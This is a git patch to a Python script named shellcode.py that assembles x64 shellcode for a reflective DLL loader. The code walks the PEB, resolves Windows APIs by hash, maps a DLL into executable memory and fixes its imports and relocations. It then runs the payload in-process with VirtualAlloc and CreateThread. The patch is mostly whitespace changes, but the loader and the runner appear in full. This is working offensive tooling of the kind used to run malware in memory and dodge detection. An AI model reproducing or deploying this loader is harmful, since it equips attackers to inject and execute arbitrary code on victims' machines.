From 0948d602d8a9501abf1a9a9e85fd6ff1ed07c6f8 Mon Sep 17 00:00:00 2001 From: violet-devsec Date: Sat, 16 Aug 2025 22:42:37 +0100 Subject: [PATCH] Minor error fix --- shellcode.bin | Bin 94852 -> 94850 bytes shellcode.py | 550 +++++++++++++++++++++++++------------------------- 2 files changed, 277 insertions(+), 273 deletions(-) diff --git a/shellcode.bin b/shellcode.bin index 99fc3d38544a6d404cbaf5c0238a3cf247209bca..0f52d49119689dcd7172a9ec39ae5b001b2b4779 100644 GIT binary patch delta 13 UcmZp9%G&glwUKEn6Jt{m04JIS3IG5A delta 14 VcmZpA%G&ajmFY}q!xqM-A^OptionalHeader.SizeOfImage (second argument) - " mov r8d, 0x1000 ;" # R8D = MEM_RESERVE - " or r8d, 0x2000 ;" # R8D |= MEM_COMMIT (third argument) - " mov r9d, 0x40 ;" # R9D = PAGE_EXECUTE_READWRITE (fourth argument) - " call qword ptr [rbp+0x40] ;" # Call VirtualAlloc - " mov ecx, [rdi + 0x3c] ;" # ECX = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders - " mov rdi, rax ;" # RDI = BaseAddress of allocated memory - " mov r13, rax ;" # R13 = Preserve baseaddress of allocated memory - " mov rsi, r12 ;" # Move DLL base address to RSI - "copy_headers: " - " test ecx, ecx ;" # Check if ECX is 0 - " jz done_copy ;" # If zero, exit loop - " mov al, [rsi] ;" # Load byte from [RSI] (uiLibraryAddress) - " mov [rdi], al ;" # Store byte to [RDI] (uiBaseAddress) - " inc rsi ;" # Increment source pointer - " inc rdi ;" # Increment destination pointer - " dec ecx ;" # Decrement counter (uiValueA) - " jmp copy_headers ;" # Repeat loop - "done_copy: " - #STEP 3: load in all sections - " mov rax, rbx ;" # RAX = Optional Header value - " sub rbx, 0x18 ;" # RBX = NT Header value - " add rbx, 0x4 ;" # RBX = File Header - " add ax, [rbx + 0x10] ;" # RAX = Optional Header value + File Header -> Size of optional header = RVA of next section - " mov r8, rax ;" # R8 = uiValueA = VA of first section - " mov cx, [rbx + 0x2] ;" # RCX= File Header -> Number of sections - "iterate_sections: " - " test ecx, ecx ;" - " jz sections_done ;" - " mov rax, r13 ;" # RAX = Base address, Calculating uiValueB - " mov ebx, [r8 + 0xc] ;" # [0xc=12] RAX = uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress - " add rax, rbx ;" - " mov r9, rax ;" # R9 = uiValueB - " mov rax, r12 ;" # RAX = uiLibraryAddress, Caluculating uiValueC - " mov ebx, [r8 + 0x14] ;" # [0x14=20] RAX = uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData - " add rax, rbx ;" - " mov r10, rax ;" # R10 = uiValueC - " mov edx, [r8 + 0x10] ;" # [0x10=16] EDX = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData - "copy_section: " - " test edx, edx ;" - " jz next_section ;" - " mov al, [r10] ;" # al = *(BYTE *)uiValueC - " mov [r9], al ;" # *(BYTE *)uiValueB = al - " inc r10 ;" # uiValueC++ - " inc r9 ;" # uiValueB++ - " dec edx ;" # uiValueD-- - " jmp copy_section ;" - "next_section: " - " add r8, 0x28 ;" # [40 = 0x28] uiValueA += sizeof(IMAGE_SECTION_HEADER) - " dec ecx ;" - " jmp iterate_sections ;" - "sections_done: " - #STEP 4: process images import table. - " lea rax, [r12+0x80+0x18+0x70+0x8];" # uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] - " mov [rbp+0x50], rax ;" # Store for future use - " mov eax, [rax] ;" # (PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress - " add rax, r13 ;" # uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress) - " mov [rbp+0x58], rax ;" # Store for future use - "process_imports: " - " mov rax, [rbp+0x58] ;" # uiValueC - " mov eax, [rax+0xc] ;" # Name RVA = (PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name - " test eax, eax ;" - " jz end_process_imports ;" - " add rax, r13 ;" # Name VMA, Starting to prepare vars for LoadLibrary() call. - " mov rcx, rax ;" # Param: DLL name to load. - " call qword ptr [rbp+0x28] ;" # call LoadLibraryA() - " mov [rbp+0x60], rax ;" # Store address value of loaded library - " mov rax, [rbp+0x58] ;" # getting uiValueC for calculating uiValueD - " mov ebx, [rax+0x0] ;" # PIMAGE_IMPORT_DESCRIPTOR -> OriginalFirstThunk - " add rbx, r13 ;" # uiValueD - " mov [rbp+0x68], rbx ;" # Store for future use - " mov eax, [rax+0x10] ;" # PIMAGE_IMPORT_DESCRIPTOR -> FirstThunk - " add rax, r13 ;" # uiValueA - " mov [rbp+0x70], rax ;" # Store for future use - "process_functions: " - " mov rax, [rbp+0x70] ;" # uiValueA - " mov rax, [rax] ;" # DEREF(uiValueA) - " test rax, rax ;" - " jz end_process_functions ;" - " mov rax, [rbp+0x68] ;" # Starting sanity check uiValueD as some compilers only import by FirstThunk - " test rax, rax ;" - " jz import_by_name ;" - " mov rax, [rax] ;" - " mov r8, 0x8000000000000000 ;" - " and rax, r8 ;" - " jz import_by_name ;" - "import_by_ordinal: " - " jmp next_function ;" - "import_by_name: " - " mov rax, [rbp+0x70] ;" # uiValueA - " mov rax, [rax] ;" # RVA of Name Table - " add rax, r13 ;" # uiValueB = VA of this functions import by name struct - " mov rcx, [rbp+0x60] ;" # Param1: Loaded library address; Preparing params for GetProcAddress - " mov rdx, rax ;" # Param2: uiValueB = Function name - " add rdx, 0x2 ;" # Name at offset 0x2 - #" add rsp, 0x8 ;" # Make some adjustment on the stack - " call qword ptr [rbp+0x38] ;" # call GetProcAddress - #" sub rsp, 0x8 ;" # Get back the stack space - " mov rcx, [rbp+0x70] ;" # uiValueA - " mov [rcx], rax ;" # Updates the Thunk address - "next_function: " - " add qword ptr [rbp+0x70], 0x8 ;" # Moving to next function, uiValueA + 0x8, Size of a pointer - " mov rax, [rbp+0x68] ;" # uiValueD - " test rax, rax ;" # checking uiValueD - " jz skip_valueD ;" - " add qword ptr [rbp+0x68], 0x8 ;" # uiValueD + 0x8, size of a pointer - "skip_valueD: " - " jmp process_functions ;" - "end_process_functions: " - " add qword ptr [rbp+0x58], 0x14 ;" # adding 20=0x14, Size of Import Directory Table - " jmp process_imports ;" - "end_process_imports: " + " mov rsi, [rax+0x20] ;" # 0x20 ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList + " mov rax, [rsi] ;" # Load qword at address (R)SI into RAX + " mov r13, [rax+0x20] ;" # R13 = NTDLL base address + "find_kernel32: " + " xchg rax, rsi ;" # Swap RAX,RSI + " lodsq ;" # Load qword at address (R)SI into RAX + " mov r14, [rax + 0x20] ;" # R14 = KERNEL32 base address + "find_function_shorten: " + " jmp find_function_shorten_bnc ;" + "find_function_ret: " + " pop rsi ;" + " mov [rbp+0x08], rsi ;" + " jmp resolve_symbols_kernel32 ;" + "find_function_shorten_bnc: " + " call find_function_ret ;" + "find_function: " + " push rbp ;" + " mov rbp, rsp ;" + " sub rsp, 0x30 ;" + " push rbx ;" + " mov r8, rbx ;" # Copy Kernel32 base address to R8 register + " mov ebx, [rbx + 0x3C] ;" # Get Kernel32 PE Signature (offset 0x3C) into EBX + " add rbx, r8 ;" # Add defrerenced signature offset to kernel32 base. Store in RBX. + " xor r9, r9 ;" # Offset from PE32 Signature to Export Address Table + " add r9, 0x88FFFFF ;" # | + " shr r9, 0x14 ;" # | + " mov edx, [rbx+r9] ;" # Offset from PE32 Signature to Export Address Table + " add rdx, r8 ;" # RDX = kernel32.dll + RVA ExportTable = ExportTable Address + " mov r10d, [rdx + 0x14] ;" # Number of functions + " xor r11, r11 ;" # Zero R11 before use + " mov r11d, [rdx+0x20] ;" # AddressOfNames RVA + " add r11, r8 ;" # AddressOfNames VMA + " mov rdi, r10 ;" # Set loop counter + "find_function_loop: " + " jecxz find_function_finished ;" # Jump to the end if RCX is 0 + " dec rdi ;" # Decrement our loop by one + " xor rsi, rsi ;" # Zero RSI for use + " mov esi, [r11+rdi*4] ;" # ESI = RVA for first AddressOfName + " add rsi, r8 ;" # RSI = Function name VMA + "compute_hash: " + " xor eax, eax ;" # NULL EAX + " xor r15, r15 ;" # NULL r15 + " cld ;" # Clear direction + "compute_hash_again: " + " lodsb ;" # Load the next byte from rsi into al + " test al, al ;" # Check for NULL terminator + " jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term + " ror r15d, 0x0d ;" # Rotate edx 13 bits to the right + " add r15d, eax ;" # Add the new byte to the accumulator + " jmp compute_hash_again ;" + "compute_hash_finished: " + "find_function_compare: " + " cmp r15, rcx ;" # Compare the computed hash with the requested hash + " jnz find_function_loop ;" + " xor r11, r11 ;" + " mov r11d, [rdx + 0x24] ;" # AddressOfNameOrdinals RVA + " add r11, r8 ;" # AddressOfNameOrdinals VMA + " xor r15, r15 ;" + " mov r15w, [r11+rdi*2] ;" # AddressOfNameOrdinals + Counter. RCX = counter + " xor r11, r11 ;" + " mov r11d, [rdx + 0x1c] ;" # AddressOfFunctions RVA + " add r11, r8 ;" # AddressOfFunctions VMA + " mov eax, [r11+r15*4] ;" # Get the function RVA + " add rax, r8 ;" # Get the function VMA + " mov r14, rax ;" # Preserve function address in R14 + "find_function_finished: " + " pop rbx ;" + " add rsp, 0x30 ;" + " pop rbp ;" + " ret ;" + "resolve_symbols_kernel32: " + " mov rbx, r14 ;" # Moving Kernel32 base address to RBX + #" push qword 0x78b5b983 ;" # TerminateProcess hash + " mov ecx, 0x78b5b983 ;" + " call qword ptr [rbp+0x08] ;" # Call find_function + " mov [rbp+0x20], rax ;" # Save TerminateProcess address + #" xor rax, rax ;" # Same as push imm64, due to keystone error, + #" mov eax, 0xec0e4e8e ;" # we are moving value to a register + #" push rax ;" # and then push to stack + " mov ecx, 0xec0e4e8e ;" + " call qword ptr [rbp+0x08] ;" # Call find_function + " mov [rbp+0x28], rax ;" # Save LoadLibraryA address for later usage + #" xor rax, rax ;" # Same as push imm64, due to keystone error, + #" mov eax, 0x7c0dfcaa ;" # we are moving value to a register + #" push rax ;" # and then push to stack + " mov ecx, 0x7c0dfcaa ;" + " call qword ptr [rbp+0x08] ;" # Call find_function + " mov [rbp+0x38], rax ;" # Save GetProcAddress address for later usage + #" xor rax, rax ;" # Same as push imm64, due to keystone error, + #" mov eax, 0x91afca54 ;" # we are moving value to a register + #" push rax ;" # and then push to stack + " mov ecx, 0x91afca54 ;" + " call qword ptr [rbp+0x08] ;" # Call find_function + " mov [rbp+0x40], rax ;" # Save VirtualAlloc address for later usage + "resolve_symbols_ntdll: " + " mov rbx, r13 ;" # Moving Ntdll base address to RBX + #" xor rax, rax ;" # Same as push imm64, due to keystone error, + #" mov eax, 0x534c0ab8 ;" # we are moving value to a register + #" push rax ;" # and then push to stack + " mov ecx, 0x534c0ab8 ;" + " call qword ptr [rbp+0x08] ;" # Call find_function + " mov [rbp+0x48], rax ;" # Save NtFlushInstructionCache address for later usage + #STEP 2 : load our image into a new permanent location in memory... + " mov ebx, [r12 + 0x3c] ;" # Get and add offset to NT Header (e_lfanew) + " add ebx, 0x18 ;" # Add offset to Optional header + " add rbx, r12 ;" # VA of the Optional Header for the PE to be loaded + " mov rdi, rbx ;" # RDI = Optional Header value + "call_virtual_alloc: " + " mov rcx, 0 ;" # RCX = NULL (first argument) + " xor rdx, rdx ;" # Clear rdx + " mov edx, [rdi + 0x38] ;" # RDX = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage (second argument) + " mov r8d, 0x1000 ;" # R8D = MEM_RESERVE + " or r8d, 0x2000 ;" # R8D |= MEM_COMMIT (third argument) + " mov r9d, 0x40 ;" # R9D = PAGE_EXECUTE_READWRITE (fourth argument) + " call qword ptr [rbp+0x40] ;" # Call VirtualAlloc + " mov ecx, [rdi + 0x3c] ;" # ECX = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders + " mov rdi, rax ;" # RDI = BaseAddress of allocated memory + " mov r13, rax ;" # R13 = Preserve baseaddress of allocated memory + " mov rsi, r12 ;" # Move DLL base address to RSI + "copy_headers: " + " test ecx, ecx ;" # Check if ECX is 0 + " jz done_copy ;" # If zero, exit loop + " mov al, [rsi] ;" # Load byte from [RSI] (uiLibraryAddress) + " mov [rdi], al ;" # Store byte to [RDI] (uiBaseAddress) + " inc rsi ;" # Increment source pointer + " inc rdi ;" # Increment destination pointer + " dec ecx ;" # Decrement counter (uiValueA) + " jmp copy_headers ;" # Repeat loop + "done_copy: " + #STEP 3: load in all sections + " mov rax, rbx ;" # RAX = Optional Header value + " sub rbx, 0x18 ;" # RBX = NT Header value + " add rbx, 0x4 ;" # RBX = File Header + " add ax, [rbx + 0x10] ;" # RAX = Optional Header value + File Header -> Size of optional header = RVA of next section + " mov r8, rax ;" # R8 = uiValueA = VA of first section + " mov cx, [rbx + 0x2] ;" # RCX= File Header -> Number of sections + "iterate_sections: " + " test ecx, ecx ;" + " jz sections_done ;" + " mov rax, r13 ;" # RAX = Base address, Calculating uiValueB + " mov ebx, [r8 + 0xc] ;" # [0xc=12] RAX = uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress + " add rax, rbx ;" + " mov r9, rax ;" # R9 = uiValueB + " mov rax, r12 ;" # RAX = uiLibraryAddress, Caluculating uiValueC + " mov ebx, [r8 + 0x14] ;" # [0x14=20] RAX = uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData + " add rax, rbx ;" + " mov r10, rax ;" # R10 = uiValueC + " mov edx, [r8 + 0x10] ;" # [0x10=16] EDX = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData + "copy_section: " + " test edx, edx ;" + " jz next_section ;" + " mov al, [r10] ;" # al = *(BYTE *)uiValueC + " mov [r9], al ;" # *(BYTE *)uiValueB = al + " inc r10 ;" # uiValueC++ + " inc r9 ;" # uiValueB++ + " dec edx ;" # uiValueD-- + " jmp copy_section ;" + "next_section: " + " add r8, 0x28 ;" # [40 = 0x28] uiValueA += sizeof(IMAGE_SECTION_HEADER) + " dec ecx ;" + " jmp iterate_sections ;" + "sections_done: " + #STEP 4: process images import table. + " lea rax, [r12+0x80+0x18+0x70+0x8];" # uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] + " mov [rbp+0x50], rax ;" # Store for future use + " mov eax, [rax] ;" # (PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress + " add rax, r13 ;" # uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress) + " mov [rbp+0x58], rax ;" # Store for future use + "process_imports: " + " mov rax, [rbp+0x58] ;" # uiValueC + " mov eax, [rax+0xc] ;" # Name RVA = (PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name + " test eax, eax ;" + " jz end_process_imports ;" + " add rax, r13 ;" # Name VMA, Starting to prepare vars for LoadLibrary() call. + " mov rcx, rax ;" # Param: DLL name to load. + " call qword ptr [rbp+0x28] ;" # call LoadLibraryA() + " mov [rbp+0x60], rax ;" # Store address value of loaded library + " mov rax, [rbp+0x58] ;" # getting uiValueC for calculating uiValueD + " mov ebx, [rax+0x0] ;" # PIMAGE_IMPORT_DESCRIPTOR -> OriginalFirstThunk + " add rbx, r13 ;" # uiValueD + " mov [rbp+0x68], rbx ;" # Store for future use + " mov eax, [rax+0x10] ;" # PIMAGE_IMPORT_DESCRIPTOR -> FirstThunk + " add rax, r13 ;" # uiValueA + " mov [rbp+0x70], rax ;" # Store for future use + "process_functions: " + " mov rax, [rbp+0x70] ;" # uiValueA + " mov rax, [rax] ;" # DEREF(uiValueA) + " test rax, rax ;" + " jz end_process_functions ;" + " mov rax, [rbp+0x68] ;" # Starting sanity check uiValueD as some compilers only import by FirstThunk + " test rax, rax ;" + " jz import_by_name ;" + " mov rax, [rax] ;" + " mov r8, 0x8000000000000000 ;" + " and rax, r8 ;" + " jz import_by_name ;" + "import_by_ordinal: " + " jmp next_function ;" + "import_by_name: " + " mov rax, [rbp+0x70] ;" # uiValueA + " mov rax, [rax] ;" # RVA of Name Table + " add rax, r13 ;" # uiValueB = VA of this functions import by name struct + " mov rcx, [rbp+0x60] ;" # Param1: Loaded library address; Preparing params for GetProcAddress + " mov rdx, rax ;" # Param2: uiValueB = Function name + " add rdx, 0x2 ;" # Name at offset 0x2 + #" add rsp, 0x8 ;" # Make some adjustment on the stack + " call qword ptr [rbp+0x38] ;" # call GetProcAddress + #" sub rsp, 0x8 ;" # Get back the stack space + " mov rcx, [rbp+0x70] ;" # uiValueA + " mov [rcx], rax ;" # Updates the Thunk address + "next_function: " + " add qword ptr [rbp+0x70], 0x8 ;" # Moving to next function, uiValueA + 0x8, Size of a pointer + " mov rax, [rbp+0x68] ;" # uiValueD + " test rax, rax ;" # checking uiValueD + " jz skip_valueD ;" + " add qword ptr [rbp+0x68], 0x8 ;" # uiValueD + 0x8, size of a pointer + "skip_valueD: " + " jmp process_functions ;" + "end_process_functions: " + " add qword ptr [rbp+0x58], 0x14 ;" # adding 20=0x14, Size of Import Directory Table + " jmp process_imports ;" + "end_process_imports: " #STEP 5: process images relocations. " mov rax, r13 ;" # uiBaseAddress value " mov rbx, [r12+0x80+0x18+0x18] ;" # ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase (0x18 offset from optional header) @@ -256,7 +258,7 @@ CODE = ( " mov eax, [rax+0x4] ;" # (PIMAGE_DATA_DIRECTORY)uiValueB)->Size " test rax, rax ;" " jz end_process_reloc ;" - " mov rax, [rbp+0x58] ;" + " mov rax, [rbp+0x58] ;" " mov eax, [rax] ;" # (PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress " add rax, r13 ;" # uiValueC is now the first entry (IMAGE_BASE_RELOCATION) " mov [rbp+0x60], rax ;" # uiValueC, store for future use @@ -265,7 +267,7 @@ CODE = ( " mov eax, [rax+0x4] ;" # (PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock " test eax, eax ;" " jz end_process_reloc ;" - " mov rbx, [rbp+0x60] ;" + " mov rbx, [rbp+0x60] ;" " mov ebx, [rbx] ;" # ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress " add rbx, r13 ;" # uiValueA = the VA for this relocation block " mov [rbp+0x68], rbx ;" # uiValueA, store for future use @@ -298,8 +300,8 @@ CODE = ( " mov rbx, [r8] ;" # Relocation to be applied " add rbx, [rbp+0x50] ;" # + uiLibraryAddress " mov [r8], rbx ;" - " jmp next_entry ;" - "relocate_highlow: " + " jmp next_entry ;" + "relocate_highlow: " " movzx rcx, word ptr [rdx] ;" # Load the 16-bit IMAGE_RELOC entry " and rcx, 0xFFF ;" # Relocation Offset, (PIMAGE_RELOC)uiValueD)->offset " mov r8, [rbp+0x68] ;" # uiValueA @@ -327,11 +329,11 @@ CODE = ( " mov [r8], rbx ;" " jmp next_entry ;" "next_entry: " - " add rdx, 0x2 ;" # uiValueD += sizeof( IMAGE_RELOC ) + " add rdx, 0x2 ;" # uiValueD += sizeof( IMAGE_RELOC ); " dec eax ;" - " jmp iterate_entries ;" + " jmp iterate_entries ;" "next_reloc_block: " - " mov r9, [rbp+0x60] ;" # uiValueC + " mov r9, [rbp+0x60] ;" # uiValueC " mov r9d, [r9+0x4] ;" # (PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock " add qword ptr [rbp+0x60], r9 ;" # get the next entry in the relocation directory " jmp iterate_blocks ;" @@ -353,31 +355,33 @@ CODE = ( "exit_shellcode: " " mov rcx, 0xffffffffffffffff ;" " xor rdx, rdx ;" - " call qword ptr [rbp+0x20] ;" + " call qword ptr [rbp+0x20] ;" "dll_base: " " nop ;" - ) +) -ks = Ks(KS_ARCH_X86, KS_MODE_64) -encoding, count = ks.asm(CODE) -print("Encoded %d instructions..." % count) -sh = b"" -for e in encoding: - sh += struct.pack("B", e) -shellcode = bytearray(sh) -print(shellcode) -# Write the (shellcode+target_dll) to a file for later use -with open("target.dll", "rb") as dll_file: - with open("shellcode.bin", "wb") as binary_file: - shellcode += dll_file.read() - binary_file.write(shellcode) -ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p -ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t) -ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int)) -space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) -buff = ( ctypes.c_char * len(shellcode) ).from_buffer_copy( shellcode ) -ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(shellcode))) -print("Shellcode located at address %s" % hex(space)) -input("...ENTER TO EXECUTE SHELLCODE...") -handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) -ctypes.windll.kernel32.WaitForSingleObject(handle, -1); \ No newline at end of file +ks = Ks(KS_ARCH_X86, KS_MODE_64) +encoding, count = ks.asm(CODE) +print("Encoded %d instructions..." % count) +sh = b"" +for e in encoding: + sh += struct.pack("B", e) +shellcode = bytearray(sh) +print(shellcode) +# Write the (shellcode+target_dll) to a file for later use +with open("target.dll", "rb") as dll_file: + with open("shellcode.bin", "wb") as binary_file: + shellcode += dll_file.read() + binary_file.write(shellcode) +ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p +ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t) +ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int)) +space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) +buff = ( ctypes.c_char * len(shellcode) ).from_buffer_copy( shellcode ) +ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(shellcode))) +print("Shellcode located at address %s" % hex(space)) +input("...ENTER TO EXECUTE SHELLCODE...") +handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) +ctypes.windll.kernel32.WaitForSingleObject(handle, -1); + + \ No newline at end of file